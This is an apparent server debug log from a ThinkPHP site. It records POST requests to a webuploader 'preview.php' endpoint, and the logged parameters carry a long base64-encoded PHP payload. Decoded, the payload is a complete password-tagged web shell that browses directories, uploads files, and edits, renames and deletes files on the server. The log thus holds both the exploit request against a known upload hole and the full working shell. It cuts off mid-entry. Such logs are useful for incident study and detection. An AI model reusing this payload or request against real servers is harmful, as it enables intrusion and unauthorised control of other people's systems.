www.51tianwei.com/static/hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002599s] [吞吐率:384.76req/s] [内存消耗:196.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:57+08:00 ] 116.213.36.234 POST www.51tianwei.com/services/cepingka/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002492s] [吞吐率:401.29req/s] [内存消耗:196.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' 